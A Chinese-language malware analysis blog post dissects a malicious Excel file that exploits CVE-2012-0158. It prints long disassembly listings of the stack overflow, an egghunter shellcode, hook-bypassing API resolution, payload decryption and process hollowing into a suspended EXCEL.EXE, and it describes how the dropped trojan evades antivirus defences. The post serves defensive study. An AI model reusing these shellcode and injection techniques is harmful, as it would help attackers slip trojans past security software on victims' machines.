某EXCEL漏洞樣本shellcode分析
0x00 起因
近日我得到一個EXCEL樣本,據稱是一個過所有殺軟的0day,經過分析之後讓我大失所望,這是一個2012年的老漏洞,根本不是0day。雖然沒撿到0day,但是這個樣本中的shellcode還是相當有特色的,確實可以繞過大多數的防毒軟體和主動防禦。 下面就來分析一下這個EXCEL EXP所使用漏洞和shellcode技術。
0x01 漏洞分析
該漏洞是CVE-2012-0158,一個棧溢位漏洞,漏洞成因是MSCOMCTL.OCX在解析一個標誌為Cobj的結構的時候直接使用檔案內容的資料作為複製長度,導致複製資料的時候可以覆蓋函式返回地址,造成了一個標準的棧溢位漏洞。
#!bash
275C876D 55 push ebp
275C876E 8BEC mov ebp, esp
275C8770 51 push ecx
275C8771 53 push ebx
275C8772 8B5D 0C mov ebx, dword ptr [ebp+C]
275C8775 56 push esi
275C8776 33F6 xor esi, esi
275C8778 8B03 mov eax, dword ptr [ebx]
275C877A 57 push edi
275C877B 56 push esi
275C877C 8D4D FC lea ecx, dword ptr [ebp-4]
275C877F 6A 04 push 4
275C8781 51 push ecx
275C8782 53 push ebx
275C8783 FF50 0C call dword ptr [eax+C] ; ole32.CMemStm::Read
275C8786 3BC6 cmp eax, esi
275C8788 7C 78 jl short 275C8802
275C878A 8B7D 10 mov edi, dword ptr [ebp+10]
275C878D 397D FC cmp dword ptr [ebp-4], edi
275C8790 0F85 FDB70000 jnz 275D3F93
275C8796 57 push edi
275C8797 56 push esi
275C8798 FF35 00DE6227 push dword ptr [2762DE00]
275C879E FF15 68115827 call dword ptr [<&KERNEL32.HeapAlloc>] ; ntdll.RtlAllocateHeap
275C87A4 3BC6 cmp eax, esi
275C87A6 8945 0C mov dword ptr [ebp+C], eax
275C87A9 0F84 EEB70000 je 275D3F9D
275C87AF 8B0B mov ecx, dword ptr [ebx]
275C87B1 56 push esi
275C87B2 57 push edi
275C87B3 50 push eax
275C87B4 53 push ebx
275C87B5 FF51 0C call dword ptr [ecx+C] ; ole32.CMemStm::Read 讀到剛分配的記憶體裡
275C87B8 8BF0 mov esi, eax
275C87BA 85F6 test esi, esi
275C87BC 7C 31 jl short 275C87EF
275C87BE 8B75 0C mov esi, dword ptr [ebp+C]
275C87C1 8BCF mov ecx, edi
275C87C3 8B7D 08 mov edi, dword ptr [ebp+8]
275C87C6 8BC1 mov eax, ecx
275C87C8 C1E9 02 shr ecx, 2
275C87CB F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ;溢位
275C87CD 8BC8 mov ecx, eax
275C87CF 8B45 10 mov eax, dword ptr [ebp+10]
275C87D2 83E1 03 and ecx, 3
275C87D5 6A 00 push 0
275C87D7 8D50 03 lea edx, dword ptr [eax+3]
275C87DA 83E2 FC and edx, FFFFFFFC
275C87DD 2BD0 sub edx, eax
275C87DF F3:A4 rep movs byte ptr es:[edi], byte ptr [esi]
275C87E1 8B0B mov ecx, dword ptr [ebx]
275C87E3 52 push edx
275C87E4 68 68236327 push 27632368
275C87E9 53 push ebx
275C87EA FF51 0C call dword ptr [ecx+C]
275C87ED 8BF0 mov esi, eax
275C87EF FF75 0C push dword ptr [ebp+C]
275C87F2 6A 00 push 0
275C87F4 FF35 00DE6227 push dword ptr [2762DE00]
275C87FA FF15 74115827 call dword ptr [<&KERNEL32.HeapFree>] ; ntdll.RtlFreeHeap
275C8800 8BC6 mov eax, esi
275C8802 5F pop edi
275C8803 5E pop esi
275C8804 5B pop ebx
275C8805 C9 leave
275C8806 C3 retn
關於這個漏洞分析網上有很多,這裡不作為分析重點,我們還是主要看一下此exp的shellcode是如何編寫以繞過防毒軟體的。
0x02 Shellcode1
該exp使用了MSCOMCTL.DLL裡的一個JMP ESP地址作為RET,這樣可以使EXP做到與作業系統版本無關,只與OFFICE版本有關:
然後跳轉回堆疊之後會先執行一小段EGGHUNTER SHELLCODE,去解碼並跳轉到真正的SHELLCODE。
#!bash
001396AC 81EC 00100000 sub esp, 1000
001396B2 8BEC mov ebp, esp
001396B4 33C9 xor ecx, ecx
001396B6 64:8B35 3000000>mov esi, dword ptr fs:[30]
001396BD 8B76 0C mov esi, dword ptr [esi+C]
001396C0 8B76 1C mov esi, dword ptr [esi+1C]
001396C3 8B5E 08 mov ebx, dword ptr [esi+8]
001396C6 8B46 08 mov eax, dword ptr [esi+8]
001396C9 8B7E 20 mov edi, dword ptr [esi+20]
001396CC 8B36 mov esi, dword ptr [esi]
001396CE 66:394F 18 cmp word ptr [edi+18], cx
001396D2 ^ 75 F2 jnz short 001396C6
001396D4 895D 04 mov dword ptr [ebp+4], ebx
001396D7 8945 08 mov dword ptr [ebp+8], eax
001396DA FF75 08 push dword ptr [ebp+8]
001396DD 68 AD9B7DDF push DF7D9BAD
001396E2 E8 F7000000 call 001397DE ;下面開始獲取一些API地址,包括GetFileSize等
001396E7 8945 20 mov dword ptr [ebp+20], eax
001396EA FF75 08 push dword ptr [ebp+8]
001396ED 68 54CAAF91 push 91AFCA54
001396F2 E8 E7000000 call 001397DE
001396F7 8945 24 mov dword ptr [ebp+24], eax
001396FA FF75 08 push dword ptr [ebp+8]
001396FD 68 AC08DA76 push 76DA08AC
00139702 E8 D7000000 call 001397DE
00139707 8945 28 mov dword ptr [ebp+28], eax
0013970A FF75 08 push dword ptr [ebp+8]
0013970D 68 1665FA10 push 10FA6516
00139712 E8 C7000000 call 001397DE
00139717 8945 2C mov dword ptr [ebp+2C], eax
0013971A 6A 04 push 4
0013971C 5E pop esi
0013971D 54 push esp
0013971E 56 push esi
0013971F FF55 20 call dword ptr [ebp+20] ;窮舉檔案控制程式碼,透過GetFileSize獲得檔案大小
00139722 8985 94000000 mov dword ptr [ebp+94], eax
00139728 83F8 FF cmp eax, -1
0013972B 75 06 jnz short 00139733
0013972D 83C6 04 add esi, 4
00139730 56 push esi
00139731 ^ EB E9 jmp short 0013971C
00139733 3D 2F440000 cmp eax, 442F ;只處理大於0x442F的檔案
00139738 ^ 76 F3 jbe short 0013972D
0013973A 6A 00 push 0
0013973C 6A 00 push 0
0013973E 68 27440000 push 4427
00139743 56 push esi
00139744 FF55 28 call dword ptr [ebp+28];SetFilePointer,從偏移0x4427讀內容
00139747 8D85 90000000 lea eax, dword ptr [ebp+90]
0013974D 6A 00 push 0
0013974F 50 push eax
00139750 6A 08 push 8
00139752 8D85 9C000000 lea eax, dword ptr [ebp+9C]
00139758 50 push eax
00139759 56 push esi
0013975A FF55 2C call dword ptr [ebp+2C] ;ReadFile
0013975D 81BD 9C000000 F>cmp dword ptr [ebp+9C], 8BA7D5F6;判斷特殊標記,就是xls自身檔案
00139767 ^ 75 C4 jnz short 0013972D
00139769 89B5 98000000 mov dword ptr [ebp+98], esi
0013976F 6A 40 push 40
00139771 68 00100000 push 1000
00139776 FFB5 A0000000 push dword ptr [ebp+A0]
0013977C 6A 00 push 0
0013977E FF55 24 call dword ptr [ebp+24] ;VirtualAlloc
00139781 8985 A4000000 mov dword ptr [ebp+A4], eax
00139787 60 pushad
00139788 0F31 rdtsc ;這裡做了反除錯,透過時間判斷是否在單步執行
0013978A 33C9 xor ecx, ecx
0013978C 03C8 add ecx, eax
0013978E 0F31 rdtsc
00139790 2BC1 sub eax, ecx
00139792 3D FF0F0000 cmp eax, 0FFF
00139797 61 popad
00139798 0F83 94000000 jnb 00139832
0013979E 8D9D 90000000 lea ebx, dword ptr [ebp+90]
001397A4 6A 00 push 0
001397A6 53 push ebx
001397A7 FFB5 A0000000 push dword ptr [ebp+A0]
001397AD 50 push eax
001397AE FFB5 98000000 push dword ptr [ebp+98]
001397B4 FF55 2C call dword ptr [ebp+2C] :ReadFile讀出第二段shellcode
001397B7 8B9D A4000000 mov ebx, dword ptr [ebp+A4]
001397BD 60 pushad
001397BE 33C9 xor ecx, ecx ;下面開始解密第二段shellcode
001397C0 33C0 xor eax, eax
001397C2 8A040B mov al, byte ptr [ebx+ecx]
001397C5 34 8D xor al, 8D
001397C7 88040B mov byte ptr [ebx+ecx], al
001397CA 8BB5 A0000000 mov esi, dword ptr [ebp+A0]
001397D0 41 inc ecx
001397D1 3BCE cmp ecx, esi
001397D3 ^ 75 EB jnz short 001397C0
001397D5 61 popad
001397D6 FFB5 98000000 push dword ptr [ebp+98] ;把自身檔案控制程式碼作為引數
001397DC FFE3 jmp ebx ;跳轉到第二段shellcode執行
可以看到第一段小shellcode的作用就是查詢並解密真正的shellcode,並跳轉過去。到目前為止,所用的方法都比較常規,除了用了一個反常簡單的反除錯以外,並沒有什麼特殊之處。
而真正有價值的是第二段shellcode,也就是包含真正功能的shellcode。
0x03 Shellcode2
第二段shellcode是此exp的真正精華所在,這段shellcode應該也是使用C語言編寫的,長度非常的長,主要做了以下幾件事情:
1. 獲取API地址+5的地址,而不是呼叫API地址,而是每次呼叫時都判斷有沒有inline hook,可以繞過殺軟的應用層hook和偵錯程式int3斷點。
2. 修改msvbvm60.dll的PutMemVar函式,把自身程式碼寫進去,這樣每次呼叫API都會從msvbvm60!PutMemVar發起,可以騙過某些根據呼叫棧判斷exe/dll的殺軟。
3. 從自身讀出一個exe檔案,並解密
4. 修復xls檔案,使自身成為無漏洞的正常檔案
5. 啟動一個EXCEL.EXE程式,並把剛才讀出的exe檔案內容注入,透過修改PEB的ImageBase來執行exe程式碼。這樣等於使用白名單程式做操作,所有殺軟都會放行。
6. 結束自身程式
可以看出作者還是用了很多技巧來繞過殺軟和反除錯的,由於這些程式碼太長了,我只貼重點部分進行講解。
透過HASH獲取API地址:
#!bash
047C0373 55 push ebp
047C0374 8BEC mov ebp, esp
047C0376 83EC 0C sub esp, 0C
047C0379 8B46 3C mov eax, dword ptr [esi+3C]
047C037C 8B4430 78 mov eax, dword ptr [eax+esi+78]
047C0380 8365 FC 00 and dword ptr [ebp-4], 0
047C0384 03C6 add eax, esi
047C0386 8B48 24 mov ecx, dword ptr [eax+24]
047C0389 53 push ebx
047C038A 8B58 1C mov ebx, dword ptr [eax+1C]
047C038D 57 push edi
047C038E 8B78 20 mov edi, dword ptr [eax+20]
047C0391 8B40 18 mov eax, dword ptr [eax+18]
047C0394 03CE add ecx, esi
047C0396 03FE add edi, esi
047C0398 03DE add ebx, esi
047C039A 894D F4 mov dword ptr [ebp-C], ecx
047C039D 8945 F8 mov dword ptr [ebp-8], eax
047C03A0 85C0 test eax, eax
047C03A2 76 1D jbe short 047C03C1
047C03A4 8B45 FC mov eax, dword ptr [ebp-4]
047C03A7 8B1487 mov edx, dword ptr [edi+eax*4]
047C03AA 03D6 add edx, esi
047C03AC E8 2B000000 call 047C03DC
047C03B1 3945 08 cmp dword ptr [ebp+8], eax
047C03B4 74 13 je short 047C03C9
047C03B6 FF45 FC inc dword ptr [ebp-4]
047C03B9 8B45 FC mov eax, dword ptr [ebp-4]
047C03BC 3B45 F8 cmp eax, dword ptr [ebp-8]
047C03BF ^ 72 E3 jb short 047C03A4
047C03C1 33C0 xor eax, eax
047C03C3 5F pop edi
047C03C4 5B pop ebx
047C03C5 C9 leave
047C03C6 C2 0400 retn 4
047C03C9 8B45 F4 mov eax, dword ptr [ebp-C]
047C03CC 8B4D FC mov ecx, dword ptr [ebp-4]
047C03CF 0FB70448 movzx eax, word ptr [eax+ecx*2]
047C03D3 8B0483 mov eax, dword ptr [ebx+eax*4]
047C03D6 8D4430 05 lea eax, dword ptr [eax+esi+5] ;可以看到這裡獲取API地址的時候+5,返回的是API地址+5,以繞過inline hook和軟斷點
047C03DA ^ EB E7 jmp short 047C03C3
047C03DC 33C0 xor eax, eax
047C03DE EB 09 jmp short 047C03E9
047C03E0 42 inc edx
047C03E1 C1C8 0D ror eax, 0D
047C03E4 0FBEC9 movsx ecx, cl
047C03E7 03C1 add eax, ecx
047C03E9 8A0A mov cl, byte ptr [edx]
047C03EB 84C9 test cl, cl
047C03ED ^ 75 F1 jnz short 047C03E0
047C03EF C3 retn
而後面每次呼叫的時候都會做判斷,這裡是CALL API的stub:
#!bash
047C04EF 55 push ebp
047C04F0 8BEC mov ebp, esp
047C04F2 83C5 0C add ebp, 0C
047C04F5 8B4D 00 mov ecx, dword ptr [ebp]
047C04F8 8BC1 mov eax, ecx
047C04FA 85C0 test eax, eax
047C04FC 74 0C je short 047C050A
047C04FE 6BC0 04 imul eax, eax, 4
047C0501 FF7405 00 push dword ptr [ebp+eax]
047C0505 83E8 04 sub eax, 4
047C0508 ^ E2 F7 loopd short 047C0501 ;這裡是處理引數,把引數逐個壓棧
047C050A 8B45 FC mov eax, dword ptr [ebp-4]
047C050D E8 02000000 call 047C0514 ;呼叫後面
047C0512 5D pop ebp
047C0513 C3 retn
047C0514 66:8378 FB 8B cmp word ptr [eax-5], 0FF8B ;判斷真正API地址有沒有被inline hook還是正常頭
047C0519 74 11 je short 047C052C
047C051B 8078 FB E9 cmp byte ptr [eax-5], 0E9 ;判斷是不是跳轉指令
047C051F 74 0B je short 047C052C
047C0521 8078 FB EB cmp byte ptr [eax-5], 0EB ;判斷是不是跳轉指令
047C0525 74 05 je short 047C052C
047C0527 83E8 05 sub eax, 5
047C052A FFE0 jmp eax ;如果沒問題就跳回真正地址執行
047C052C 8BFF mov edi, edi ;執行正常函式頭後跳轉
047C052E 55 push ebp
047C052F 8BEC mov ebp, esp
047C0531 FFE0 jmp eax
下面shellcode載入並修改了msvbvm60!PutMemVar,把上面的call stub程式碼寫進去:
#!bash
047C03F8 8365 D4 00 and dword ptr [ebp-2C], 0
047C03FC 8365 D8 00 and dword ptr [ebp-28], 0
047C0400 8365 E0 00 and dword ptr [ebp-20], 0
047C0404 8365 E4 00 and dword ptr [ebp-1C], 0
047C0408 8365 E8 00 and dword ptr [ebp-18], 0
047C040C C645 EC 6D mov byte ptr [ebp-14], 6D
047C0410 C645 ED 73 mov byte ptr [ebp-13], 73
047C0414 C645 EE 76 mov byte ptr [ebp-12], 76
047C0418 C645 EF 62 mov byte ptr [ebp-11], 62
047C041C C645 F0 76 mov byte ptr [ebp-10], 76
047C0420 C645 F1 6D mov byte ptr [ebp-F], 6D
047C0424 C645 F2 36 mov byte ptr [ebp-E], 36
047C0428 C645 F3 30 mov byte ptr [ebp-D], 30
047C042C C645 F4 00 mov byte ptr [ebp-C], 0
047C0430 8365 F8 00 and dword ptr [ebp-8], 0
047C0434 8365 FC 00 and dword ptr [ebp-4], 0
047C0438 8D45 EC lea eax, dword ptr [ebp-14]
047C043B 50 push eax
047C043C 6A 01 push 1
047C043E 8B45 08 mov eax, dword ptr [ebp+8]
047C0441 FFB0 08020000 push dword ptr [eax+208]
047C0447 E8 A3000000 call 047C04EF ; LoadLibrary(“msvbvm60”)
047C044C 83C4 0C add esp, 0C
047C044F 8945 FC mov dword ptr [ebp-4], eax
047C0452 68 B974DEAE push AEDE74B9
047C0457 8B75 FC mov esi, dword ptr [ebp-4]
047C045A E8 14FFFFFF call 047C0373 ; GetProcAddress(“PutMemVar”)
047C045F 83E8 05 sub eax, 5
047C0462 8B4D 08 mov ecx, dword ptr [ebp+8]
047C0465 8981 C0020000 mov dword ptr [ecx+2C0], eax
047C046B 8D45 E4 lea eax, dword ptr [ebp-1C]
047C046E 50 push eax
047C046F 6A 40 push 40
047C0471 6A 44 push 44
047C0473 8B45 08 mov eax, dword ptr [ebp+8]
047C0476 FFB0 C0020000 push dword ptr [eax+2C0]
047C047C 6A 04 push 4
047C047E 8B45 08 mov eax, dword ptr [ebp+8]
047C0481 FFB0 30020000 push dword ptr [eax+230]
047C0487 E8 63000000 call 047C04EF ; VirtualProtect修改記憶體屬性為可寫
047C048C 83C4 18 add esp, 18
047C048F 85C0 test eax, eax
047C0491 75 04 jnz short 047C0497
047C0493 33C0 xor eax, eax
047C0495 EB 52 jmp short 047C04E9
047C0497 E8 05000000 call 047C04A1
047C049C E8 4E000000 call 047C04EF
047C04A1 5B pop ebx
047C04A2 8B43 01 mov eax, dword ptr [ebx+1]
047C04A5 03D8 add ebx, eax
047C04A7 83C3 05 add ebx, 5
047C04AA 895D D8 mov dword ptr [ebp-28], ebx
047C04AD 6A 44 push 44
047C04AF 8B55 D8 mov edx, dword ptr [ebp-28]
047C04B2 8B45 08 mov eax, dword ptr [ebp+8]
047C04B5 8BB0 C0020000 mov esi, dword ptr [eax+2C0]
047C04BB E8 73000000 call 047C0533
; 把前面提到的stub程式碼寫到msvbvm60!PutMemVar
047C04C0 59 pop ecx
047C04C1 8D45 E4 lea eax, dword ptr [ebp-1C]
047C04C4 50 push eax
047C04C5 FF75 E4 push dword ptr [ebp-1C]
047C04C8 6A 44 push 44
047C04CA 8B45 08 mov eax, dword ptr [ebp+8]
047C04CD FFB0 C0020000 push dword ptr [eax+2C0]
047C04D3 6A 04 push 4
047C04D5 8B45 08 mov eax, dword ptr [ebp+8]
047C04D8 FFB0 30020000 push dword ptr [eax+230]
047C04DE E8 0C000000 call 047C04EF ; VirtualProtect把記憶體屬性修改回來
下面shellcode做的是從檔案某偏移處讀出exe檔案內容,並解密,這塊程式碼沒有什麼特殊的就不貼了,只有解密演算法稍微複雜了一點:
#!bash
047C0A40 60 pushad
047C0A41 8B5D EC mov ebx, dword ptr [ebp-14]
047C0A44 33F6 xor esi, esi
047C0A46 BF 638EF47B mov edi, 7BF48E63
047C0A4B B9 07000000 mov ecx, 7
047C0A50 8BC7 mov eax, edi
047C0A52 8BD0 mov edx, eax
047C0A54 C1E8 1E shr eax, 1E
047C0A57 83E0 01 and eax, 1
047C0A5A C1EA 03 shr edx, 3
047C0A5D 83E2 01 and edx, 1
047C0A60 33C2 xor eax, edx
047C0A62 8BD7 mov edx, edi
047C0A64 83E2 01 and edx, 1
047C0A67 33C2 xor eax, edx
047C0A69 8BD7 mov edx, edi
047C0A6B D1E2 shl edx, 1
047C0A6D 0BC2 or eax, edx
047C0A6F 8BF8 mov edi, eax
047C0A71 ^ E2 E1 loopd short 047C0A54
047C0A73 25 FF000000 and eax, 0FF
047C0A78 300433 xor byte ptr [ebx+esi], al
047C0A7B 46 inc esi
047C0A7C 3B75 F0 cmp esi, dword ptr [ebp-10]
047C0A7F ^ 7C CA jl short 047C0A4B
047C0A81 61 popad
讀出exe以後有漏洞的xls就沒用,要把xls檔案恢復成正常檔案,一方面為了後面能夠正常開啟,另一方面也為了能夠隱藏漏洞:
#!bash
047C0AA7 6A 00 push 0
047C0AA9 6A 00 push 0
047C0AAB 6A 00 push 0
047C0AAD 6A 04 push 4
047C0AAF 6A 00 push 0
047C0AB1 FF75 0C push dword ptr [ebp+C]
047C0AB4 6A 06 push 6
047C0AB6 FFB7 60020000 push dword ptr [edi+260]
047C0ABC FF97 C0020000 call dword ptr [edi+2C0] ;CreateFileMapping對映xls檔案
047C0AC2 83C4 20 add esp, 20
047C0AC5 85C0 test eax, eax
047C0AC7 0F84 92000000 je 047C0B5F
047C0ACD 6A 00 push 0
047C0ACF 6A 00 push 0
047C0AD1 6A 00 push 0
047C0AD3 6A 06 push 6
047C0AD5 50 push eax
047C0AD6 6A 05 push 5
047C0AD8 FFB7 90020000 push dword ptr [edi+290]
047C0ADE FF97 C0020000 call dword ptr [edi+2C0] ; MapViewofFile
047C0AE4 83C4 1C add esp, 1C
047C0AE7 85C0 test eax, eax
047C0AE9 74 74 je short 047C0B5F
047C0AEB 8945 FC mov dword ptr [ebp-4], eax
047C0AEE 8D5D F8 lea ebx, dword ptr [ebp-8]
047C0AF1 53 push ebx
047C0AF2 68 00020000 push 200
047C0AF7 8D9D F8FBFFFF lea ebx, dword ptr [ebp-408]
047C0AFD 53 push ebx
047C0AFE 6A 02 push 2
047C0B00 50 push eax
047C0B01 6A FF push -1
047C0B03 6A 06 push 6
047C0B05 FFB7 9C020000 push dword ptr [edi+29C]
047C0B0B FF97 C0020000 call dword ptr [edi+2C0] ;ntdll.ZwQueryVirtualMemory
047C0B11 83C4 20 add esp, 20
047C0B14 83F8 00 cmp eax, 0
047C0B17 75 46 jnz short 047C0B5F
047C0B19 6A 00 push 0
047C0B1B 6A 00 push 0
047C0B1D 68 04010000 push 104
047C0B22 FF75 18 push dword ptr [ebp+18]
047C0B25 6A FF push -1
047C0B27 8D85 F8FBFFFF lea eax, dword ptr [ebp-408]
047C0B2D 83C0 08 add eax, 8
047C0B30 50 push eax
047C0B31 6A 00 push 0
047C0B33 6A 00 push 0
047C0B35 6A 08 push 8
047C0B37 FFB7 94020000 push dword ptr [edi+294]
047C0B3D FF97 C0020000 call dword ptr [edi+2C0] ; WideCharToMultiByte
047C0B43 83C4 40 add esp, 40
047C0B46 0345 18 add eax, dword ptr [ebp+18]
047C0B49 48 dec eax
047C0B4A 66:C700 2200 mov word ptr [eax], 22
047C0B4F 8B4D 14 mov ecx, dword ptr [ebp+14]
047C0B52 83F9 00 cmp ecx, 0
047C0B55 74 08 je short 047C0B5F
047C0B57 8B7D FC mov edi, dword ptr [ebp-4]
047C0B5A 8B75 10 mov esi, dword ptr [ebp+10]
047C0B5D F3:A4 rep movs byte ptr es:[edi], byte ptr [esi] ;把正常檔案內容複製過去,修復檔案
修復完xls檔案之後,就要做最後很關鍵的一部,以SUSPEND方式啟動一個EXCEL程式,然後把剛才讀出來的EXE內容寫進新程式,再透過修改ImageBase指向EXE內容的地址,最後恢復新程式執行。這樣一來,新啟動的EXCEL程式實際執行的是木馬EXE的程式。這樣做的目的我分析有兩個,直接釋放exe並執行會被很多主動防禦軟體攔截,即使不攔截因為釋放的exe不在白名單裡,所做的敏感操作(例如修改登錄檔等)都會被主防攔截。而借EXCEL的殼執行exe則天然在主防白名單裡,許可權很高,木馬不用考慮繞主防的問題。
#!bash
047C0832 55 push ebp
047C0833 8BEC mov ebp, esp
047C0835 81EC 70030000 sub esp, 370
047C083B 57 push edi
047C083C 68 0C030000 push 30C
047C0841 8BF8 mov edi, eax
047C0843 8D85 90FCFFFF lea eax, dword ptr [ebp-370]
047C0849 50 push eax
047C084A 6A 00 push 0
047C084C 6A 03 push 3
047C084E FFB6 64020000 push dword ptr [esi+264]
047C0854 FF96 C0020000 call dword ptr [esi+2C0] ; GetModuleFileName獲取EXCEL.EXE路徑
047C085A 83C4 14 add esp, 14
047C085D 85C0 test eax, eax
047C085F 0F84 D7000000 je 047C093C
047C0865 6A 44 push 44
047C0867 59 pop ecx
047C0868 8BD1 mov edx, ecx
047C086A 8D45 9C lea eax, dword ptr [ebp-64]
047C086D 4A dec edx
047C086E C600 00 mov byte ptr [eax], 0
047C0871 90 nop
047C0872 40 inc eax
047C0873 85D2 test edx, edx
047C0875 ^ 75 F6 jnz short 047C086D ; ZeroMemory
047C0877 53 push ebx
047C0878 8D45 9C lea eax, dword ptr [ebp-64]
047C087B 50 push eax
047C087C 33C0 xor eax, eax
047C087E 50 push eax
047C087F 50 push eax
047C0880 6A 04 push 4 ;SUSPENDED
047C0882 50 push eax
047C0883 50 push eax
047C0884 50 push eax
047C0885 894D 9C mov dword ptr [ebp-64], ecx
047C0888 8D8E 00FDFFFF lea ecx, dword ptr [esi-300]
047C088E 51 push ecx
047C088F 50 push eax
047C0890 6A 0A push 0A
047C0892 FFB6 68020000 push dword ptr [esi+268]
047C0898 FF96 C0020000 call dword ptr [esi+2C0] ; CreateProcess以SUSPENDED方式啟動EXCEL程式
047C089E 83C4 30 add esp, 30
047C08A1 85C0 test eax, eax
047C08A3 0F84 93000000 je 047C093C
047C08A9 57 push edi
047C08AA C707 07000100 mov dword ptr [edi], 10007
047C08B0 FF73 04 push dword ptr [ebx+4]
047C08B3 6A 02 push 2
047C08B5 FFB6 70020000 push dword ptr [esi+270]
047C08BB FF96 C0020000 call dword ptr [esi+2C0] ; GetContextThread獲取暫存器
047C08C1 8D45 FC lea eax, dword ptr [ebp-4]
047C08C4 50 push eax
047C08C5 8B87 A4000000 mov eax, dword ptr [edi+A4];這個應該是EBX的值
047C08CB 6A 04 push 4
047C08CD FF75 08 push dword ptr [ebp+8]
047C08D0 83C0 08 add eax, 8
047C08D3 50 push eax
047C08D4 FF33 push dword ptr [ebx]
047C08D6 6A 05 push 5
047C08D8 FFB6 78020000 push dword ptr [esi+278]
047C08DE FF96 C0020000 call dword ptr [esi+2C0] ; ReadVirtualMemory讀出ImageBase地址
這塊的演算法應該是:
#!cpp
DWORD* peb;
DWORD* ImageBaseAddress;
GetThreadContext(hTarget, &contx)
ImageBaseAddress = (DWORD *) contx.Ebx+8;
得到ImageBase地址之後,用新分配的exe地址去替換:
#!bash
047C072A 8D45 E8 lea eax, dword ptr [ebp-18]
047C072D 50 push eax
047C072E 6A 04 push 4
047C0730 8D45 FC lea eax, dword ptr [ebp-4]
047C0733 50 push eax
047C0734 8B85 B0FDFFFF mov eax, dword ptr [ebp-250]
047C073A 83C0 08 add eax, 8
047C073D 50 push eax
047C073E FF75 EC push dword ptr [ebp-14]
047C0741 6A 05 push 5
047C0743 5F pop edi
047C0744 57 push edi
047C0745 FFB6 7C020000 push dword ptr [esi+27C]
047C074B FF96 C0020000 call dword ptr [esi+2C0] ; WriteProcessMemory修改ImageBase
047C0751 8B43 10 mov eax, dword ptr [ebx+10]
047C0754 0345 FC add eax, dword ptr [ebp-4]
047C0757 8945 E4 mov dword ptr [ebp-1C], eax
047C075A 8D45 E8 lea eax, dword ptr [ebp-18]
047C075D 50 push eax
047C075E 6A 04 push 4
047C0760 8D45 E4 lea eax, dword ptr [ebp-1C]
047C0763 50 push eax
047C0764 8B85 D0FDFFFF mov eax, dword ptr [ebp-230]
047C076A 83C0 04 add eax, 4
047C076D 50 push eax
047C076E FF75 EC push dword ptr [ebp-14]
047C0771 57 push edi
047C0772 FFB6 7C020000 push dword ptr [esi+27C]
047C0778 FF96 C0020000 call dword ptr [esi+2C0] ; WriteProcessMemory
047C077E 8D45 E8 lea eax, dword ptr [ebp-18]
047C0781 50 push eax
047C0782 6A 04 push 4
047C0784 8D45 FC lea eax, dword ptr [ebp-4]
047C0787 50 push eax
047C0788 68 10F0FD7E push 7EFDF010
047C078D FF75 EC push dword ptr [ebp-14]
047C0790 57 push edi
047C0791 FFB6 7C020000 push dword ptr [esi+27C]
047C0797 FF96 C0020000 call dword ptr [esi+2C0] ; WriteProcessMemory
047C079D 8B45 08 mov eax, dword ptr [ebp+8]
047C07A0 8B48 3C mov ecx, dword ptr [eax+3C]
047C07A3 8B45 10 mov eax, dword ptr [ebp+10]
047C07A6 8B55 FC mov edx, dword ptr [ebp-4]
047C07A9 83C4 54 add esp, 54
047C07AC 6A 00 push 0
047C07AE FF75 14 push dword ptr [ebp+14]
047C07B1 895401 34 mov dword ptr [ecx+eax+34], edx
047C07B5 50 push eax
047C07B6 FF75 FC push dword ptr [ebp-4]
047C07B9 FF75 EC push dword ptr [ebp-14]
047C07BC 57 push edi
047C07BD FFB6 7C020000 push dword ptr [esi+27C]
047C07C3 FF96 C0020000 call dword ptr [esi+2C0] ; WriteProcessMemory把本程式讀出來的木馬exe內容寫到新程式空間
047C07C9 83C4 1C add esp, 1C
047C07CC 85C0 test eax, eax
047C07CE 74 47 je short 047C0817
047C07D0 8B43 10 mov eax, dword ptr [ebx+10]
047C07D3 0345 FC add eax, dword ptr [ebp-4]
047C07D6 C785 0CFDFFFF 0>mov dword ptr [ebp-2F4], 10007
047C07E0 8985 BCFDFFFF mov dword ptr [ebp-244], eax
047C07E6 8D85 0CFDFFFF lea eax, dword ptr [ebp-2F4]
047C07EC 50 push eax
047C07ED FF75 F0 push dword ptr [ebp-10]
047C07F0 6A 02 push 2
047C07F2 FFB6 74020000 push dword ptr [esi+274]
047C07F8 FF96 C0020000 call dword ptr [esi+2C0] ; SetContextThread恢復暫存器
047C07FE FF75 F0 push dword ptr [ebp-10]
047C0801 6A 01 push 1
047C0803 FFB6 8C020000 push dword ptr [esi+28C]
047C0809 FF96 C0020000 call dword ptr [esi+2C0] ; ResumeThread恢復程式執行
這時候新的EXCEL程式就成功執行了,但實際執行的內容卻是木馬EXE。
接下來shellcode呼叫TerminateProcess結束自身程式,就完成了全部工作。後面的事情就交給木馬exe來完成。
0x04 木馬exe
雖然這個木馬並沒有什麼特殊之處,我也順便分析了一下。
首先在C:\Windows\tasks\下釋放了一個exe檔案,以保證木馬每次隨系統啟動。然後刪除登錄檔項HKCU\Software\Microsoft\Office\12.0\Excel\Resiliency避免EXCEL重啟時報出錯誤。最後用EXCEL開啟那個已經修復過的xls檔案。
可以看到無論是在關鍵目錄釋放exe還是刪除關鍵登錄檔項,如果是普通exe的話都是會被主防報警的,而正是因為在shellcode中借了EXCEL的殼,所以這些敏感操作才得以繞過主防。而且因為沒有釋放第一個exe檔案,可以減少很多被防毒的啟發引擎查殺的機會。因為釋放在tasks下的exe只需要實現木馬功能即可,不用考慮釋放執行的問題,而釋放執行的操作才是最容易被啟發式防毒查殺的。
0x05 總結
這個xls樣本雖然是個老漏洞,但是其shellcode還是很有創意,值得學習的。最大的亮點有兩個:
一個是重寫系統dll的記憶體,來間接執行API呼叫,以跳過回溯堆疊的主防攔截shellcode。
另一個是借EXCEL程式的殼來執行木馬exe,以繞過主防對木馬的攔截。
from:http://blog.jowto.com/?p=81
相關文章
- CVE-2015-1538漏洞利用中的Shellcode分析2020-08-19
- 某CCTV攝像頭漏洞分析2020-08-19
- Cobaltstrike —— shellcode分析(一)2023-02-26
- 某被外掛用爛了的讀寫驅動樣本全逆向+功能分析2018-06-14
- CVE2015-0057漏洞樣本構造探索2020-08-19
- 0day漏洞組合拳:詳細分析一款惡意PDF樣本2018-05-21
- 對某單位的 APT 攻擊樣本分析2019-08-14APT
- Shellcode2024-06-16
- 修改記事本PE結構彈計算器Shellcode2021-11-07
- 惡意程式碼分析之行為分析及樣本收集2021-01-29
- 某殭屍網路被控端惡意樣本分析2020-08-19
- 啟明星辰ADLab:某攝像頭產品漏洞分析及解決方案2020-02-11
- CVE-2014-6352漏洞及定向攻擊樣本分析2020-08-19
